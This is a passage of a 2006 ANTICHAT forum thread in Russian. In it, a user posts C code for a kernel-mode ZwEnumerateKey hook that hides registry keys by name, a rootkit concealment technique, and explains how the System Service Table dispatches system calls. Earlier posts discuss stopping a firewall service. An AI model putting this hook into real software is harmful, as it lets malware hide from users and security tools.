HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 03.04.2006, 12:33
Deem3n®
Постоянный
Регистрация: 19.09.2005
Сообщений: 408
С нами: 10863746

Репутация: 519
По умолчанию

Цитата:
Сообщение от KEZ  
А если фаер был выключен? (DEMAND_START)
Тогда StopService() вернет ошибку, а StartService его запустит.
ну предварительно перед остановкой можно ретривнуть статус сервиса, и если SERVICE_RUNNING то StopService() дабы не вызывать ошибку
Цитата:
Сообщение от KEZ  
one more time
... у меня перехватывается ZwEnumerateValueKey в ядре, поэтому можно скрыть любые ключи в реестре ...
3-й раз )) ну это у тебя, а у тех кто читает топик, нет ))
 
Ответить с цитированием

  #12  
Старый 03.04.2006, 13:57
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
С нами: 11042306

Репутация: 2726


По умолчанию

Код:
WCHAR g_swRegHidePrefix[]  = L"KeyToHide1";
WCHAR g_swRegHidePrefix2[] = L"KeyToHide2";

NTSTATUS NewZwEnumerateKey(
    IN HANDLE KeyHandle,
    IN ULONG Index,
    IN KEY_INFORMATION_CLASS KeyInformationClass,
    OUT PVOID KeyInformation,
    IN ULONG Length,
    OUT PULONG ResultLength )
{
	KEY_BASIC_INFORMATION *kbi = NULL;
	NTSTATUS ret;

	ret = TrueZwEnumerateKey( KeyHandle, Index, KeyInformationClass, KeyInformation, Length, ResultLength );
	if (!KeyInformationClass)
	{
		kbi = (KEY_BASIC_INFORMATION*)KeyInformation;
		if (RtlCompareMemory( (PVOID)&kbi->Name[0], (PVOID)&g_swRegHidePrefix[0], 18 ) == 18 )
			ret = STATUS_NO_SUCH_FILE;
		if (RtlCompareMemory( (PVOID)&kbi->Name[0], (PVOID)&g_swRegHidePrefix2[0], 16 ) == 16 )
			ret = STATUS_NO_SUCH_FILE;
	}
	return ret;	
}
Ядро экспортирует указатель на SST, таблицу, в которой храняться адреса системных вызовов ядра.
API юзера выполняет какие-то действия обращается к Native-API юзера (ZwOpenKey или NtOpenKey, и т.п.),
а они-просто содержат код int 0x2e (в xp-sysenter), и управление передается обработчику прерывания 0x2e - ф-ии KiSystemService. В eax должен быть номер сис. вызова, а в edx (как я помню) - указатель на парамерты... Почти как в Unix... Только там во все регистры заносятся параметры или указатели.

Последний раз редактировалось KEZ; 03.04.2006 в 14:05..
 
Ответить с цитированием

  #13  
Старый 08.04.2006, 23:47
ac005
Banned
Регистрация: 09.02.2006
Сообщений: 5
С нами: 10657823

Репутация: -5
По умолчанию

это код c++????
 
Ответить с цитированием

  #14  
Старый 08.04.2006, 23:52
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
С нами: 11042306

Репутация: 2726


По умолчанию

нет, это код к дверям в подъезде
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
КаббалкТелеком - скоростной интернет обход трафика... Allen Болталка 1 27.02.2006 02:17
Windows xp sp2 down OwrLam Мировые новости. Обсуждения. 11 26.09.2004 18:38



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.